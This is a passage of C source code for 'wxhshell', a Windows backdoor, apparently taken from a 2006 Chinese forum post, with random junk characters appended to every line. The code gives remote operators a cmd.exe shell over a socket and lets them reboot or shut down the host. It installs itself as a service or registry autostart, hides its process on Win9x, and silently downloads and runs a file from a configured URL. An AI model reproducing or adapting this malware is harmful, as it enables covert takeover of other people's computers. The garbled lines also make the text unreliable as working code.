      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w/lXZg  
    break; WE+sFaKq-  
  } K*([9VZ  
  // 安装 EpFIKV!  
  case 'i': { |#DC.Ga!  
    if(Install()) s[0prm5.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7vIh0  
    else Ma`   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xTa4.ZXg  
    break; :J=+;I(UI  
    } JxX jDYrU  
  // 卸载 sDzD 8as  
  case 'r': { M!xm1-,[  
    if(Uninstall()) o1fyNzq<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Z\MZ&{k{*  
    else }vXA`)Ns  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jw`&Np2Q  
    break; H3 A]m~=3  
    } x?k  
  // 显示 wxhshell 所在路径 q3,P|&T  
  case 'p': { m~= ]^e  
    char svExeFile[MAX_PATH]; _'?8s6 H  
    strcpy(svExeFile,"\n\r"); t7U,AQ=;P5  
      strcat(svExeFile,ExeFile); MFc=B`/X  
        send(wsh,svExeFile,strlen(svExeFile),0); /o<}]]YBF  
    break; FT|/ WZR  
    } |1_$! p  
  // 重启 ~>Hnf_pZO  
  case 'b': { E]HND.`*>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u7WTSL%  
    if(Boot(REBOOT)) f^[{k {t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mm>zpB`qP  
    else { zVc7q7E  
    closesocket(wsh); !T#8N7J>  
    ExitThread(0); 5CH-:|(;=  
    } +(I`@5  
    break; ;qT!fuN;  
    } DWm;&RPJ  
  // 关机 w]o:c(x@  
  case 'd': { /JK-}E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;EE&~&*w  
    if(Boot(SHUTDOWN)) 6*(h9!_T1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K=!ZI/+ju  
    else { {E3<GeHw4  
    closesocket(wsh); ZZ]OR;8  
    ExitThread(0); bG?WB,1  
    } /QV. U.>G  
    break; 7{kpx$:_  
    } 8Y{}p[UFT  
  // 获取shell pb/{ss+  
  case 's': { 5KC\1pe i  
    CmdShell(wsh); ^?K?\   
    closesocket(wsh); ,#'o)O#  
    ExitThread(0); !5E%W[  
    break; 7=QC+XSO  
  } RV#uy]  
  // 退出 f@F^W YQm  
  case 'x': { ! 6p)t[s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )]>i >  
    CloseIt(wsh); jOm&yX  
    break; cmr6,3_  
    } H(%] Os  
  // 离开 @KXz4PU  
  case 'q': { Jc"$p\ $-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 .&Or4>  
    closesocket(wsh); qV,$bw  
    WSACleanup(); . tH35/r  
    exit(1); >QZt)<[  
    break; y_7XYT!w  
        } d_W nK{  
  } gGiV1jN _  
  } Hs4zJk  
hPqapz]HcP  
  // 提示信息 xV n]m9i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D $CY:@  
} Og;$P 'U  
  } s:jL/%+COZ  
>;'1k'  
  return; `~aLSpB65  
} lc$@Jjg9  
*p#YK|  
// shell模块句柄 C!/8e (!N  
int CmdShell(SOCKET sock) Xv5Ev@T  
{ dn)tP6qc/  
STARTUPINFO si; WEV{C(u<k!  
ZeroMemory(&si,sizeof(si)); G$x["  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !7Nz W7j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dpp52UnT E  
PROCESS_INFORMATION ProcessInfo; 9J;H.:WH  
char cmdline[]="cmd"; ,f /IG.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YI),q.3X~  
  return 0; T\e)Czz2-  
} i2ml[;*,N  
RJ@e5A6_  
// 自身启动模式 B=Jd%Av  
int StartFromService(void) %`T^qh_dE  
{ LN6JH!  
typedef struct VY&9kN  
{ !{~7)iq  
  DWORD ExitStatus; f s"V'E2a  
  DWORD PebBaseAddress; 1d@^,7MF-  
  DWORD AffinityMask; %k;FxUKi  
  DWORD BasePriority; Bzy=@]`  
  ULONG UniqueProcessId; gmAKW4(  
  ULONG InheritedFromUniqueProcessId; E~g}DKs_5  
}   PROCESS_BASIC_INFORMATION; dBq,O%$oq  
A[$wxdc  
PROCNTQSIP NtQueryInformationProcess; 1yRd10  
U/&qV"Ih  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; % /4_|@<'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \7tvNa,C  
}9Dv\"t5  
  HANDLE             hProcess; 3]]6z K^i  
  PROCESS_BASIC_INFORMATION pbi; ,l? 76g  
Pymh^i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S| -{wC%  
  if(NULL == hInst ) return 0; rnBeL _8C  
!/(}meZj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {)[g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B)cb}.N:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [c!vsh]^  
dSOn\+  
  if (!NtQueryInformationProcess) return 0; "yq;{AGOGl  
+#db_k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %C][E^9  
  if(!hProcess) return 0; rHdP4:n  
+4p ;4/=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2?nyPqT3AM  
IlL   
  CloseHandle(hProcess); yrYaKh  
@dKf]&h%%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n2hsG.4  
if(hProcess==NULL) return 0; 9*Twx&  
g(r'Y#U  
HMODULE hMod; ;3}b&Z[N]  
char procName[255]; hgr ,v"  
unsigned long cbNeeded; cWy0N  
W2(=m!:U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~HI0<;r=eL  
yWk:u 5  
  CloseHandle(hProcess); & ~G  
{Om3fSk:  
if(strstr(procName,"services")) return 1; // 以服务启动 61wG:  
E :g ArQ  
  return 0; // 注册表启动 GeT CN  
} "m)O13x  
 D.x3@+  
// 主模块 %a^!~qV  
int StartWxhshell(LPSTR lpCmdLine) (xJBN?NRO  
{ 4IE#dwZW  
  SOCKET wsl; `CouP-g.  
BOOL val=TRUE; Y k6WSurw  
  int port=0; /!8:/7r+W  
  struct sockaddr_in door; GuDD7~qxY  
(8F?yBu  
  if(wscfg.ws_autoins) Install(); uH h2>Px  
F+^[8zK^  
port=atoi(lpCmdLine); <sG>[\i  
]>!_OCe&  
if(port<=0) port=wscfg.ws_port; au~gJW-  
jo:p*Q "F  
  WSADATA data; zMg^2{0L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )p](*Z^  
;b2>y>?[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iU|C<A%Hh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r|$g((g  
  door.sin_family = AF_INET; ;yoq/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ht!:e>z&4  
  door.sin_port = htons(port); Ok"wec+,  
O4URr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :{imRa-  
closesocket(wsl); [qo* ,CRz  
return 1; z$,hdZ]  
} +eat,3Ji  
05DtU!3O  
  if(listen(wsl,2) == INVALID_SOCKET) { wOSNlbQ5jl  
closesocket(wsl); R|yTUGY  
return 1; \EqO;A%<  
} xk<0QYv   
  Wxhshell(wsl); 'a9.JS[pj  
  WSACleanup(); `Q[$R&\  
eVJL|uI|  
return 0; |LhuZ_;1xo  
7] H4E.(l  
} L>*|T[~  
+<#-52br\  
// 以NT服务方式启动 v7RDoO]I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HKf3eC  
{ ![Y$[l  
DWORD   status = 0; Yi,um-%  
  DWORD   specificError = 0xfffffff; $xwF;:)  
>m46tfoM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R 1\]Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GR9F^Y)K{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f:>jH+o.S  
  serviceStatus.dwWin32ExitCode     = 0; |hAGgo/03  
  serviceStatus.dwServiceSpecificExitCode = 0; e;v2`2z2  
  serviceStatus.dwCheckPoint       = 0; VzNH%  
  serviceStatus.dwWaitHint       = 0; n$K_KU v  
pwQ."2x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {M5IJt"{4b  
  if (hServiceStatusHandle==0) return; 2^:nlM{u  
uhLW/?q.  
status = GetLastError(); :I8t}Wg  
  if (status!=NO_ERROR) 7eyh9E!_I  
{ q9>w3 <  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \wP$"Z}j  
    serviceStatus.dwCheckPoint       = 0; 4O'ho0w7  
    serviceStatus.dwWaitHint       = 0; \(s ";@  
    serviceStatus.dwWin32ExitCode     = status; NjLd-v"2  
    serviceStatus.dwServiceSpecificExitCode = specificError; # jyAq$I0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %r!-*p<i|  
    return; ud1E@4;qf  
  } bL<cg tz7)  
1U!CD-%(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B:SRHd{*Wu  
  serviceStatus.dwCheckPoint       = 0; 4D5)<3N=d'  
  serviceStatus.dwWaitHint       = 0; >3/<goXk7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -rBj-4|"  
} (G Y`O  
\ U_DTI  
// 处理NT服务事件,比如:启动、停止 4ai3@f5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p_( NLJ%  
{ 6\L,L &  
switch(fdwControl) n$8A"'.M  
{ CEiG jo^  
case SERVICE_CONTROL_STOP: |gNOv;l  
  serviceStatus.dwWin32ExitCode = 0; }T@AoIR0t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^B7Aam  
  serviceStatus.dwCheckPoint   = 0; 78kk"9h'  
  serviceStatus.dwWaitHint     = 0; Qoc-ZC"<6  
  { @,hvXl-G*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !!AutkEg>  
  } (pl OV)  
  return; o5d)v)Rx=  
case SERVICE_CONTROL_PAUSE: ,k4 (b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -3C~}~$>`  
  break; 2zAS \Y  
case SERVICE_CONTROL_CONTINUE: W#$rC<Jh]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3z#16*  
  break; V_:/#G]jeG  
case SERVICE_CONTROL_INTERROGATE: wiZK-#\x  
  break; :v+ 39  
}; &7cy9Z~m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &j$k58mX  
} UaB!,vs3st  
L))(g][;  
// 标准应用程序主函数 M~v{\!S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @YRBZ6FH  
{ 2gi`^%#k]  
JyV"jL   
// 获取操作系统版本 gs'( px  
OsIsNt=GetOsVer(); :?zOLw?(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F C"dQ  
z;LntQZp-  
  // 从命令行安装 }Q*8QV  
  if(strpbrk(lpCmdLine,"iI")) Install(); SI\zW[IL  
  ~*RNJ  
  // 下载执行文件 KQh'5o&  
if(wscfg.ws_downexe) { Wh7$')@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VrHFM(RNe  
  WinExec(wscfg.ws_filenam,SW_HIDE); eD(#zfP/+  
} Gg/K  
$?7}4u,  
if(!OsIsNt) { aX~7NslR  
// 如果时win9x,隐藏进程并且设置为注册表启动 B<W{kEY  
HideProc(); hTF]-& hZ  
StartWxhshell(lpCmdLine); NVQ IRQ.  
} VE!h!`<k  
else 75a3H`  
  if(StartFromService()) n@xU5Q  
  // 以服务方式启动 ibh!8"[  
  StartServiceCtrlDispatcher(DispatchTable); 3 *ZE``  
else ZJS7#<-7o  
  // 普通方式启动 /.vB /{2  
  StartWxhshell(lpCmdLine); /" ,]J  
cu |{cy-  
return 0; '/mwXvl  
}
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只看该作者 1 发表于: 2006-10-10
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